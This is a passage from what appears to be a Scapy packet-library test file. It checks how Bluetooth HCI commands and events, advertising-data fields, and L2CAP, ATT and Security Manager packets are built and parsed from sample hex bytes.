HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_LE_Create_Connection_Cancel()\nassert expected_cmd_raw_data == raw(cmd)\nassert raw(HCI_Hdr(expected_cmd_raw_data)) == expected_cmd_raw_data\n\nother_raw_data = hex_bytes(\"01060403341213\")\nother_cmd = HCI_Hdr(other_raw_data)\n\n# Craft a response...\nfor p in (\n    HCI_Event_Command_Complete(opcode=0x200e),\n    HCI_Event_Command_Status(opcode=0x200e),\n):\n    res = HCI_Hdr() / HCI_Event_Hdr() / p\n    # For debugging\n    res\n    # Check that the response packet thinks it is an answer to the request\n    assert res.answers(cmd)\n    # Check that it self isn't a match\n    assert not res.answers(res)\n    # Check that another request wouldn't match\n    assert not res.answers(other_cmd)\n    \"OK!\"\n\n\n= Disconnect\nexpected_cmd_raw_data = hex_bytes(\"01060403341213\")\ncmd_raw_data = raw(HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_Disconnect(handle=0x1234))\nassert expected_cmd_raw_data == cmd_raw_data\n\n= LE Connection Update Command\nexpected_cmd_raw_data = hex_bytes(\"0113200e47000a00140001003c000100ffff\")\ncmd_raw_data = raw(\n    HCI_Hdr() / HCI_Command_Hdr() / HCI_Cmd_LE_Connection_Update(\n        handle=0x47, min_interval=10, max_interval=20, latency=1, timeout=60,\n        min_ce=1, max_ce=0xffff))\nassert expected_cmd_raw_data == cmd_raw_data\n\n\n+ HCI Events\n\n= Inquiry Complete\nevt_raw_data = hex_bytes(\"04010100\")\nevt_pkt = HCI_Hdr(evt_raw_data)\nassert HCI_Event_Inquiry_Complete in evt_pkt\nassert evt_pkt[HCI_Event_Inquiry_Complete].status == 0\n\n= Inquiry Result\nevt_pkt = HCI_Event_Inquiry_Result(b'\\x01\\xcb\\x7f\\xdbn\\x8c\\x9c\\x01\\x00\\x00<\\x04\\x08\\x8di')\nassert HCI_Event_Inquiry_Result in evt_pkt\nassert evt_pkt[HCI_Event_Inquiry_Result].num_response == 1\nassert evt_pkt[HCI_Event_Inquiry_Result].addr[0] == '9c:8c:6e:db:7f:cb'\nassert evt_pkt[HCI_Event_Inquiry_Result].page_scan_repetition_mode[0] == 1\nassert evt_pkt[HCI_Event_Inquiry_Result].device_class[0] == 0x8043c\nassert evt_pkt[HCI_Event_Inquiry_Result].clock_offset[0] == 27021\n\n\n= Connection Complete\nevt_raw_data = hex_bytes(\"04030b000b00093491e5b7540100\")\nevt_pkt = HCI_Hdr(evt_raw_data)\nassert HCI_Event_Connection_Complete in evt_pkt\nassert evt_pkt[HCI_Event_Connection_Complete].status == 0\nassert evt_pkt[HCI_Event_Connection_Complete].handle == 0x000b\nassert evt_pkt[HCI_Event_Connection_Complete].bd_addr == \"54:b7:e5:91:34:09\"\nassert evt_pkt[HCI_Event_Connection_Complete].link_type == 1\nassert evt_pkt[HCI_Event_Connection_Complete].encryption_enabled == 0\n\n= Disconnection Complete\nevt_raw_data = hex_bytes(\"04050400400016\")\nevt_pkt = HCI_Hdr(evt_raw_data)\nassert HCI_Event_Disconnection_Complete in evt_pkt\nassert evt_pkt[HCI_Event_Disconnection_Complete].status == 0\nassert evt_pkt[HCI_Event_Disconnection_Complete].handle == 0x0040\nassert evt_pkt[HCI_Event_Disconnection_Complete].reason == 0x16\n\n= Remote Name Request Complete\nevt_raw_data = hex_bytes(\"0407ff0076d56f950100746573742d6c6170746f70000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\")\nevt_pkt = HCI_Hdr(evt_raw_data)\nassert HCI_Event_Remote_Name_Request_Complete in evt_pkt\nassert evt_pkt[HCI_Event_Remote_Name_Request_Complete].status == 0\nassert evt_pkt[HCI_Event_Remote_Name_Request_Complete].bd_addr == \"00:01:95:6f:d5:76\"\nassert evt_pkt[HCI_Event_Remote_Name_Request_Complete].remote_name == b\"test-laptop\".ljust(248, b\"\\x00\")\n\n= Encryption Change\nevt_raw_data = hex_bytes(\"040804000b0001\")\nevt_pkt = HCI_Hdr(evt_raw_data)\nassert HCI_Event_Encryption_Change in evt_pkt\nassert evt_pkt[HCI_Event_Encryption_Change].status == 0\nassert evt_pkt[HCI_Event_Encryption_Change].handle == 0x000b\nassert evt_pkt[HCI_Event_Encryption_Change].enabled == 1\n\n= Read Remote Supported Features Complete\nevt_raw_data = hex_bytes(\"040b0b000b00fffe8ffedbff5b87\")\nevt_pkt = HCI_Hdr(evt_raw_data)\nassert HCI_Event_Read_Remote_Supported_Features_Complete in evt_pkt\nassert evt_pkt[HCI_Event_Read_Remote_Supported_Features_Complete].status == 0\nassert evt_pkt[HCI_Event_Read_Remote_Supported_Features_Complete].handle == 0x000b\nassert evt_pkt[HCI_Event_Read_Remote_Supported_Features_Complete].lmp_features == 0x875bffdbfe8ffeff\n\n= Read Remote Version Information Complete\nevt_raw_data = hex_bytes(\"040c080002000bb0022c04\")\nevt_pkt = HCI_Hdr(evt_raw_data)\nassert HCI_Event_Read_Remote_Version_Information_Complete in evt_pkt\nassert evt_pkt[HCI_Event_Read_Remote_Version_Information_Complete].status == 0\nassert evt_pkt[HCI_Event_Read_Remote_Version_Information_Complete].handle == 0x0002\nassert evt_pkt[HCI_Event_Read_Remote_Version_Information_Complete].version == 0x0b\nassert evt_pkt[HCI_Event_Read_Remote_Version_Information_Complete].manufacturer_name == 0x02b0\nassert evt_pkt[HCI_Event_Read_Remote_Version_Information_Complete].subversion == 1068\n\n= Command Complete\nevt_raw_data = hex_bytes(\"040e0a010b04002587ceedd668\")\nevt_pkt = HCI_Hdr(evt_raw_data)\nassert HCI_Event_Command_Complete in evt_pkt\nassert evt_pkt[HCI_Event_Command_Complete].number == 1\nassert evt_pkt[HCI_Event_Command_Complete].opcode == 0x040b\nassert evt_pkt[HCI_Event_Command_Complete].status == 0\n\n= Command Status\nevt_raw_data = hex_bytes(\"040f0400011904\")\nevt_pkt = HCI_Hdr(evt_raw_data)\nassert HCI_Event_Command_Status in evt_pkt\nassert evt_pkt[HCI_Event_Command_Status].status == 0\nassert evt_pkt[HCI_Event_Command_Status].number == 1\nassert evt_pkt[HCI_Event_Command_Status].opcode == 0x0419\n\n= Number Of Completed Packets\nevt_raw_data = hex_bytes(\"0413050103000300\")\nevt_pkt = HCI_Hdr(evt_raw_data)\nassert HCI_Event_Number_Of_Completed_Packets in evt_pkt\nassert evt_pkt[HCI_Event_Number_Of_Completed_Packets].num_handles == 1\nassert evt_pkt[HCI_Event_Number_Of_Completed_Packets].connection_handle_list[0] == 0x0003\nassert evt_pkt[HCI_Event_Number_Of_Completed_Packets].num_completed_packets_list[0] == 3\n\n= Link Key Request\nevt_raw_data = hex_bytes(\"041706093491e5b754\")\nevt_pkt = HCI_Hdr(evt_raw_data)\nassert HCI_Event_Link_Key_Request in evt_pkt\nassert evt_pkt[HCI_Event_Link_Key_Request].bd_addr == '54:b7:e5:91:34:09'\n\n= Inquiry Result with RSSI\n# TODO\n\n= Read Remote Extended Features Complete\nevt_raw_data = hex_bytes(\"04230d000b0001020300000000000000\")\nevt_pkt = HCI_Hdr(evt_raw_data)\nassert HCI_Event_Read_Remote_Extended_Features_Complete in evt_pkt\nassert evt_pkt[HCI_Event_Read_Remote_Extended_Features_Complete].status == 0\nassert evt_pkt[HCI_Event_Read_Remote_Extended_Features_Complete].handle == 0x000b\nassert evt_pkt[HCI_Event_Read_Remote_Extended_Features_Complete].page == 1\nassert evt_pkt[HCI_Event_Read_Remote_Extended_Features_Complete].max_page == 2\nassert evt_pkt[HCI_Event_Read_Remote_Extended_Features_Complete].extended_features == 0x0000000000000003\n\n= Extended Inquiry Result\nevt_raw_data = hex_bytes(\"042fff01093491e5b75401001404247c37c2091001000a00ffffffff020a040b020d110b110a110e110f110c095354414e4d4f524520494900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\")\nevt_pkt = HCI_Hdr(evt_raw_data)\nassert HCI_Event_Extended_Inquiry_Result in evt_pkt\nassert evt_pkt[HCI_Event_Extended_Inquiry_Result].num_response == 1\nassert evt_pkt[HCI_Event_Extended_Inquiry_Result].bd_addr == '54:b7:e5:91:34:09'\nassert evt_pkt[HCI_Event_Extended_Inquiry_Result].page_scan_repetition_mode == 1\nassert evt_pkt[HCI_Event_Extended_Inquiry_Result].device_class == 0x240414\nassert evt_pkt[HCI_Event_Extended_Inquiry_Result].clock_offset == 0x377c\nassert evt_pkt[HCI_Event_Extended_Inquiry_Result].rssi == -62\nassert EIR_Hdr in evt_pkt[HCI_Event_Extended_Inquiry_Result].eir_data[0]\nassert Raw in evt_pkt[HCI_Event_Extended_Inquiry_Result].eir_data[-1]\nassert len(evt_pkt[HCI_Event_Extended_Inquiry_Result].eir_data[-1].load) == 200\n\n= IO Capability Response\nevt_raw_data = hex_bytes(\"043209093491e5b754030002\")\nevt_pkt = HCI_Hdr(evt_raw_data)\nassert HCI_Event_IO_Capability_Response in evt_pkt\nassert evt_pkt[HCI_Event_IO_Capability_Response].bd_addr == '54:b7:e5:91:34:09'\nassert evt_pkt[HCI_Event_IO_Capability_Response].io_capability == 0x03\nassert evt_pkt[HCI_Event_IO_Capability_Response].oob_data_present == 0\nassert evt_pkt[HCI_Event_IO_Capability_Response].authentication_requirements == 0x02\n\n= LE Meta\nevt_raw_data = hex_bytes(\"043e0414400000\")\nevt_pkt = HCI_Hdr(evt_raw_data)\nassert HCI_Event_LE_Meta in evt_pkt\nassert evt_pkt[HCI_Event_LE_Meta].event == 0x14\n\n= LE Connection Update Event\nevt_raw_data = hex_bytes(\"043e0a03004800140001003c00\")\nevt_pkt =  HCI_Hdr(evt_raw_data)\nassert evt_pkt[HCI_LE_Meta_Connection_Update_Complete].handle == 0x48\nassert evt_pkt[HCI_LE_Meta_Connection_Update_Complete].interval == 20\nassert evt_pkt[HCI_LE_Meta_Connection_Update_Complete].latency == 1\nassert evt_pkt[HCI_LE_Meta_Connection_Update_Complete].timeout == 60\n\n\n+ Bluetooth LE Advertising / Scan Response Data Parsing\n= Parse EIR_IncompleteList32BitServiceUUIDs\n\np = HCI_Hdr(hex_bytes('042fff019cc888f640c401000c025af32cb09904f6dc73222396f640c40c025a40dbca09000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'))\nassert EIR_IncompleteList32BitServiceUUIDs in p\nassert len(p[EIR_IncompleteList32BitServiceUUIDs].svc_uuids) == 38\n\n= Parse EIR_CompleteList32BitServiceUUIDs\n\np = HCI_Hdr(hex_bytes('042fff0106ec883aef1801003c04285758b30e0954562064656c2073616cc3b36e09030a110c110e1100120105810700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'))\nassert EIR_CompleteList32BitServiceUUIDs in p\nassert p[EIR_CompleteList32BitServiceUUIDs].svc_uuids == []\n\n= Parse EIR_ClassOfDevice\n\np = HCI_Hdr(hex_bytes('043e2b020100000a1bb44ce0001f02010503ff000106084d4920524303021218040d040500020a0004fe06ec88a2'))\nassert EIR_ClassOfDevice in p\nassert p[EIR_ClassOfDevice].major_service_classes == 0\nassert p[EIR_ClassOfDevice].major_device_class == 5\nassert p[EIR_ClassOfDevice].minor_device_class == 1\n\n= Parse EIR_PublicTargetAddress\np = HCI_Hdr(hex_bytes('043e1402010001554433221100080717ffeeddccbbaaaa'))\nassert EIR_PublicTargetAddress in p\nassert p[EIR_PublicTargetAddress].bd_addr == 'aa:bb:cc:dd:ee:ff'\n\n= Parse EIR_AdvertisingInterval\np = HCI_Event_Hdr(hex_bytes('3e23020100002e4961121110170201060f0954656c6553617420283432453229031a9001a3'))\nassert EIR_AdvertisingInterval in p\nassert p[EIR_AdvertisingInterval].advertising_interval == 400\n\np = BTLE(hex_bytes('d6be898e20234fe761e5b754021a1803030a18020ace12fffa07104a2b010000000054b7e561e74f00000000'))\nassert EIR_AdvertisingInterval in p\nassert p[EIR_AdvertisingInterval].advertising_interval == 24\n\n= Parse EIR_LEBluetoothDeviceAddress\np = HCI_Event_Hdr(hex_bytes(\"3e2a02010000d93519d7ba4c1e0201020affc4000734151317fd80081b00d93519d7ba4c0303b9fe020ad4ad\"))\nassert EIR_LEBluetoothDeviceAddress in p\nassert p[EIR_LEBluetoothDeviceAddress].addr_type == 0x0\nassert p[EIR_LEBluetoothDeviceAddress].bd_addr == '4c:ba:d7:19:35:d9'\n\n= Parse EIR_Appearance\np = BTLE(hex_bytes(\"d6be898e201660d4d3cebffb0201050319420c0303e7fe040948393850c27c\"))\nassert EIR_Appearance in p\nassert p[EIR_Appearance].appearance == 0x0c42\nassert p[EIR_Appearance].category == 0x31 #'Pulse Oximeter'\nassert p[EIR_Appearance].subcategory == 0x02 # Wrist Worn Pulse Oximeter\n\n= Parse EIR_ServiceData32BitUUID\n\np = HCI_Hdr(hex_bytes('042fff01c47c80894df801000c0128a269a30c4a125d13f30196894df80c012820f61a1a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'))\nassert EIR_ServiceData32BitUUID in p\nassert p[EIR_ServiceData32BitUUID].svc_uuid == 0x001a1af6\n\n= Parse EIR_URI\n\np = HCI_Event_Hdr(hex_bytes('3e2902010301f3c1dad728031d1c24172f2f6669726d776172652e73696c766169722e636f6d2f6f6f62ac'))\nassert EIR_URI in p\nassert p[EIR_URI].scheme == 0x17\nassert p[EIR_URI].uri_hier_part == b'//firmware.silvair.com/oob'\nassert p[EIR_URI].uri == 'https://firmware.silvair.com/oob'\n\n= Parse EIR_Flags, EIR_CompleteList16BitServiceUUIDs, EIR_CompleteLocalName and EIR_TX_Power_Level\n\nad_report_raw_data = \\\n    hex_bytes(\"043e2b020100016522c00181781f0201020303d9fe1409\" \\\n              \"506562626c652054696d65204c452037314536020a0cde\")\nscapy_packet = HCI_Hdr(ad_report_raw_data)\n\nassert scapy_packet[EIR_Flags].flags == 0x02\nassert scapy_packet[EIR_CompleteList16BitServiceUUIDs].svc_uuids == [0xfed9]\nassert scapy_packet[EIR_CompleteLocalName].local_name == b'Pebble Time LE 71E6'\nassert scapy_packet[EIR_TX_Power_Level].level == 12\n\n= Parse EIR_Manufacturer_Specific_Data\n\nscan_resp_raw_data = \\\n    hex_bytes(\"043e2302010401be5e0eb9f04f1716ff5401005f423331\" \\\n              \"3134374432343631fc00030c0000de\")\nscapy_packet = HCI_Hdr(scan_resp_raw_data)\n\nassert raw(scapy_packet[EIR_Manufacturer_Specific_Data].payload) == b'\\x00_B31147D2461\\xfc\\x00\\x03\\x0c\\x00\\x00'\nassert scapy_packet[EIR_Manufacturer_Specific_Data].company_identifier == 0x154\nassert scapy_packet[EIR_Manufacturer_Specific_Data].sprintf(\"%company_identifier%\") == \"Pebble Technology\"\n\n= Parse EIR_Manufacturer_Specific_Data with magic\n\nclass ScapyManufacturerPacket(Packet):\n    magic = b'SCAPY!'\n    fields_desc = [\n        StrFixedLenField(\"header\", magic, len(magic)),\n        ShortField(\"x\", None),\n    ]\n\nclass ScapyManufacturerPacket2(Packet):\n    magic = b'!SCAPY'\n    fields_desc = [\n        StrFixedLenField(\"header\", magic, len(magic)),\n        ShortField(\"y\", None),\n    ]\n    @classmethod\n    def magic_check(cls, payload):\n        return payload.startswith(cls.magic)\n\nEIR_Manufacturer_Specific_Data.register_magic_payload(\n    ScapyManufacturerPacket, lambda p: p.startswith(ScapyManufacturerPacket.magic))\nEIR_Manufacturer_Specific_Data.register_magic_payload(ScapyManufacturerPacket2)\n\n# Test decode\np = EIR_Hdr(b'\\x0b\\xff\\xff\\xffSCAPY!\\xab\\x12')\n\np.show()\nassert p[EIR_Manufacturer_Specific_Data].company_identifier == 0xffff\nassert p[ScapyManufacturerPacket].x == 0xab12\n\np = EIR_Hdr(b'\\x0b\\xff\\xff\\xff!SCAPY\\x12\\x34')\n\np.show()\nassert p[EIR_Manufacturer_Specific_Data].company_identifier == 0xffff\nassert p[ScapyManufacturerPacket2].y == 0x1234\n\n# Test encode\np = EIR_Hdr()/EIR_Manufacturer_Specific_Data(company_id=0xffff)/ScapyManufacturerPacket(x=0x5678)\nassert raw(p) == b'\\x0b\\xff\\xff\\xffSCAPY!\\x56\\x78'\n\n# Test bad setup\ntry:\n    EIR_Manufacturer_Specific_Data.register_magic_payload(conf.raw_layer)\nexcept TypeError:\n    pass\nelse:\n    assert False, \"expected exception\"\n\n= Parse EIR_ServiceSolicitation16BitUUID and EIR_ServiceSolicitation128BitUUID\n\nd = hex_bytes(\"043e29020100013d1ef10747d81d0319000002010603140d181115d0002d121e4b0fa4994eceb531f40579aa\") \np = HCI_Hdr(d)\nassert p[EIR_ServiceSolicitation16BitUUID].svc_uuid == 0x180d\nassert p[EIR_ServiceSolicitation128BitUUID].svc_uuid == UUID('7905f431-b5ce-4e99-a40f-4b1e122d00d0')\n\n= Parse EIR_ServiceData16BitUUID\n\nd = hex_bytes(\"043e1902010001abcdef7da97f0d020102030350fe051650fee6c2ac\")\np = HCI_Hdr(d)\n\np.show()\nassert p[EIR_CompleteList16BitServiceUUIDs].svc_uuids == [0xfe50]\nassert p[EIR_ServiceData16BitUUID].svc_uuid == 0xfe50\nassert raw(p[EIR_ServiceData16BitUUID].payload) == hex_bytes(\"e6c2\")\n\n= Basic L2CAP dissect\na = L2CAP_Hdr(b'\\x08\\x00\\x06\\x00\\t\\x00\\xf6\\xe5\\xd4\\xc3\\xb2\\xa1')\nassert a[SM_Identity_Address_Information].address == 'a1:b2:c3:d4:e5:f6'\nassert a[SM_Identity_Address_Information].atype == 0\na.show()\n\n= Basic HCI_ACL_Hdr build & dissect\na = HCI_Hdr()/HCI_ACL_Hdr(handle=0xf4c, PB=2, BC=2, len=20)/L2CAP_Hdr(len=16)/L2CAP_CmdHdr(code=8, len=12)/L2CAP_EchoReq(data=\"AAAAAAAAAAAA\")\nassert raw(a) == b'\\x02L\\xaf\\x14\\x00\\x10\\x00\\x05\\x00\\x08\\x01\\x0c\\x00AAAAAAAAAAAA'\nb = HCI_Hdr(raw(a))\nassert a == b\n\n= Complex HCI - L2CAP build\na = HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/L2CAP_CmdHdr()/L2CAP_ConnReq(scid=1)\nassert raw(a) == b'\\x02\\x00\\x00\\x0c\\x00\\x08\\x00\\x05\\x00\\x02\\x01\\x04\\x00\\x00\\x00\\x01\\x00'\na.show()\n\n= Complex HCI - L2CAP dissect\na = HCI_Hdr(b'\\x02\\x00\\x00\\x11\\x00\\r\\x00\\x05\\x00\\x0b\\x00\\t\\x00\\x01\\x00\\x00\\x00debug')\nassert a[L2CAP_InfoResp].result == 0\nassert a[L2CAP_InfoResp].data == b\"debug\"\n\n= HCI - L2CAP Echo test\n\nrq = HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/L2CAP_CmdHdr()/L2CAP_EchoReq(data=b\"data\")\nassert bytes(rq) == b'\\x02\\x00\\x00\\x0c\\x00\\x08\\x00\\x05\\x00\\x08\\x01\\x04\\x00data'\n\nrsp = HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/L2CAP_CmdHdr()/L2CAP_EchoResp(data=b\"data\")\nassert bytes(rsp) == b'\\x02\\x00\\x00\\x0c\\x00\\x08\\x00\\x05\\x00\\t\\x01\\x04\\x00data'\nassert rsp.answers(rq)\n\n= HCI - L2CAP Create Channel request\n\np = HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/L2CAP_CmdHdr()/L2CAP_Create_Channel_Request(psm=\"SDP\")\nassert bytes(p) == b'\\x02\\x00\\x00\\r\\x00\\t\\x00\\x05\\x00\\x0c\\x01\\x05\\x00\\x01\\x00\\x00\\x00\\x00'\n\np = HCI_Hdr(bytes(p))\nassert p[L2CAP_Create_Channel_Request].psm == 1\nassert p[L2CAP_Create_Channel_Request].scid == 0\n\n= L2CAP Conn Answers\na = HCI_Hdr(b'\\x02\\x00\\x00\\x0c\\x00\\x08\\x00\\x05\\x00\\x02\\x00\\x04\\x00\\x00\\x00\\x9a;')\nb = HCI_Hdr(b'\\x02\\x00\\x00\\x10\\x00\\x0c\\x00\\x05\\x00\\x03\\x00\\x08\\x00\\xff\\xff\\x9a;\\x00\\x00\\x01\\x00')\nassert b.answers(a)\nassert not a.answers(b)\n\na = HCI_Hdr(b'\\x02\\x00\\x00\\x0c\\x00\\x08\\x00\\x05\\x00\\x04\\x00\\x04\\x00\\x15\\x00\\x00\\x00')\nb = HCI_Hdr(b'\\x02\\x00\\x00\\x0e\\x00\\n\\x00\\x05\\x00\\x05\\x00\\x06\\x00\\x15\\x00\\x00\\x00\\x02\\x00')\nassert b.answers(a)\nassert not a.answers(b)\n\n= EIR_Hdr - HCI_LE_Meta_Advertising_Report (single report)\na = HCI_Hdr()/HCI_Event_Hdr()/HCI_Event_LE_Meta()/HCI_LE_Meta_Advertising_Reports(reports=[\n   HCI_LE_Meta_Advertising_Report(\n      addr=\"a1:b2:c3:d4:e5:f6\",\n      data=[\n         EIR_Hdr()/EIR_Flags(flags=['br_edr_not_supported']),\n         EIR_Hdr()/EIR_CompleteLocalName(local_name=\"scapy\"),\n      ]\n   )\n])\nassert raw(a) == b'\\x04>\\x16\\x02\\x01\\x00\\x00\\xf6\\xe5\\xd4\\xc3\\xb2\\xa1\\n\\x02\\x01\\x04\\x06\\tscapy\\x00'\nb = HCI_Hdr(raw(a))\nb.show()\nassert b[HCI_Event_Hdr].len > 0\nassert b[EIR_CompleteLocalName].local_name == b\"scapy\"\nassert b[HCI_LE_Meta_Advertising_Report].addr == \"a1:b2:c3:d4:e5:f6\"\n\nassert a.summary() == \"HCI Event / HCI_Event_Hdr / HCI_Event_LE_Meta / HCI_LE_Meta_Advertising_Reports\"\n\n= EIR_Hdr - HCI_LE_Meta_Advertising_Report (duplicate reports)\n# When duplicate reports are allowed, there are \"Connectable Unidirected\n# Advertising\" reports, and \"Scan Responses\", for the same device/MAC, in the\n# same packet.\n\na = HCI_Hdr()/HCI_Event_Hdr()/HCI_Event_LE_Meta()/HCI_LE_Meta_Advertising_Reports(reports=[\n   HCI_LE_Meta_Advertising_Report(\n      addr=\"a1:b2:c3:d4:e5:f6\",\n      data=[\n         EIR_Hdr()/EIR_Flags(flags=['br_edr_not_supported']),\n         EIR_Hdr()/EIR_CompleteLocalName(local_name=\"scapy\"),\n      ]\n   ),\n   HCI_LE_Meta_Advertising_Report(\n      type=4,  # Scan Response\n      addr=\"a1:b2:c3:d4:e5:f6\",\n      data=[\n         EIR_Hdr()/EIR_Manufacturer_Specific_Data(\n            company_id=0xffff,\n         )/Raw(b\"ypacs\"),\n         EIR_Hdr()/EIR_TX_Power_Level(level=10),\n         EIR_Hdr()/EIR_CompleteList128BitServiceUUIDs(svc_uuids=[\n            \"01234567-89ab-cdef-1023-456789abcdfe\",\n         ])\n      ]\n   )\n])\nassert raw(a) == b'\\x04>>\\x02\\x02\\x00\\x00\\xf6\\xe5\\xd4\\xc3\\xb2\\xa1\\n\\x02\\x01\\x04\\x06\\tscapy\\x00\\x04\\x00\\xf6\\xe5\\xd4\\xc3\\xb2\\xa1\\x1e\\x08\\xff\\xff\\xffypacs\\x02\\n\\n\\x11\\x07\\xfe\\xcd\\xab\\x89gE#\\x10\\xef\\xcd\\xab\\x89gE#\\x01\\x00'\n\nb = HCI_Hdr(raw(a))\nb.show()\nassert b[HCI_Event_Hdr].len > 0\nassert b[EIR_CompleteLocalName].local_name == b\"scapy\"\nassert b[HCI_LE_Meta_Advertising_Report].addr == \"a1:b2:c3:d4:e5:f6\"\nassert b[EIR_Manufacturer_Specific_Data].company_identifier == 0xffff\nassert raw(b[EIR_Manufacturer_Specific_Data].payload) == b\"ypacs\"\nassert b[EIR_TX_Power_Level].level == 10\nassert b[EIR_CompleteList128BitServiceUUIDs].svc_uuids[0] == UUID(\"01234567-89ab-cdef-1023-456789abcdfe\")\n\nassert a.summary() == \"HCI Event / HCI_Event_Hdr / HCI_Event_LE_Meta / HCI_LE_Meta_Advertising_Reports\"\n\n= EIR_Hdr - HCI_LE_Meta_Extended_Advertising_Report\na = HCI_Hdr()/HCI_Event_Hdr()/HCI_Event_LE_Meta()/HCI_LE_Meta_Extended_Advertising_Reports(reports=[\n   HCI_LE_Meta_Extended_Advertising_Report(\n      #event_type = 0x0012,\n      scannable = 1,\n      legacy = 1,\n      address_type = 0x01,\n      address=\"a1:b2:c3:d4:e5:f6\",\n      primary_phy = 1,\n      rssi = -85,\n      data=[\n         EIR_Hdr()/EIR_CompleteList16BitServiceUUIDs(\n            svc_uuids = [0xffff],\n         ),\n         EIR_Hdr()/EIR_ServiceData16BitUUID(\n             svc_uuid = 0xffff\n         )/Raw(b\"scapy\\x00\\x00\\x00\")\n      ]\n   ),\n    HCI_LE_Meta_Extended_Advertising_Report(\n      #event_type = 0x001a,\n      scannable = 1,\n      scan_response = 1,\n      legacy = 1,\n      address_type = 0x01,\n      address=\"a1:b2:c3:d4:e5:f6\",\n      primary_phy = 1,\n      rssi = -85,\n      data=[\n         EIR_Hdr()/EIR_Manufacturer_Specific_Data(\n            company_identifier = 0xffff,\n         ) / Raw(b\"scapy\\x00\\x01\\x02\\x03\\x04\")\n      ]\n   ),\n])\n\nassert raw(a) == b\"\\x04\\x3e\\x50\\x0d\\x02\\x12\\x00\\x01\\xf6\\xe5\\xd4\\xc3\\xb2\\xa1\\x01\\x00\\xff\\x7f\\xab\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x03\\x03\\xff\\xff\\x0b\\x16\\xff\\xffscapy\\x00\\x00\\x00\\x1a\\x00\\x01\\xf6\\xe5\\xd4\\xc3\\xb2\\xa1\\x01\\x00\\xff\\x7f\\xab\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0e\\x0d\\xff\\xff\\xffscapy\\x00\\x01\\x02\\x03\\x04\"\n\nb = HCI_Hdr(raw(a))\nb.show()\nassert b[HCI_Event_Hdr].len > 0\nassert b[HCI_LE_Meta_Extended_Advertising_Reports].num_reports == 2\nassert b[HCI_LE_Meta_Extended_Advertising_Report][0].address == \"a1:b2:c3:d4:e5:f6\"\nassert b[HCI_LE_Meta_Extended_Advertising_Report][0].tx_power == 0x7f\nassert b[HCI_LE_Meta_Extended_Advertising_Report][0].rssi == -85\nassert b[HCI_LE_Meta_Extended_Advertising_Report][0].data_length > 0\nassert b[EIR_CompleteList16BitServiceUUIDs].svc_uuids == [0xffff]\nassert b[EIR_ServiceData16BitUUID].svc_uuid == 0xffff\nassert raw(b[EIR_ServiceData16BitUUID].payload) == b\"scapy\\x00\\x00\\x00\"\nassert b[EIR_Manufacturer_Specific_Data].company_identifier == 0xffff\nassert raw(b[EIR_Manufacturer_Specific_Data].payload) == b\"scapy\\x00\\x01\\x02\\x03\\x04\"\n\n\n= ATT_Hdr - misc\na = HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/ATT_Hdr()/ATT_Read_By_Type_Request_128bit(uuid1=0xa14, uuid2=0xa24)\na = HCI_Hdr(raw(a))\na.show()\na.mysummary()\nassert ATT_Read_By_Type_Request_128bit in a\nassert not Raw in a\n\nb = HCI_Hdr()/HCI_ACL_Hdr()/L2CAP_Hdr()/ATT_Hdr()/ATT_Read_By_Type_Request(uuid=0xa14)\nb = HCI_Hdr(raw(b))\nb.show()\nb.mysummary()\nassert ATT_Read_By_Type_Request in b\nassert not Raw in b\n\n= ATT Read_By_Type_Response\n\npkt = HCI_Hdr(hex_bytes('0248201b001700040009070200020300002a0400020500012a0600020700042a'))\n\nassert pkt[ATT_Read_By_Type_Response].len == 7\nassert len(pkt.handles) == 3\nassert pkt.handles[0].handle == 0x2\nassert pkt.handles[1].handle == 0x4\nassert pkt.handles[2].handle == 0x6\n\npkt.handles[0].value == b'\\x02\\x03\\x00\\x00*'\npkt.handles[1].value == b'\\x02\\x05\\x00\\x01*'\npkt.handles[2].value == b'\\x02\\x07\\x00\\x04*'\n\n= SM_Security_Request\npkt = HCI_Hdr(hex_bytes('0200260600020006000b0d'))\nassert SM_Security_Request in pkt\nassert pkt[SM_Security_Request].auth_req == 0x0d\n\n\n= SM_Public_Key() tests\n\nr = raw(SM_Hdr()/SM_Public_Key(key_x=\"sca\", key_y=\"py\"))\nassert r == b'\\x0csca\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00py\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\np = SM_Hdr(r)\nassert 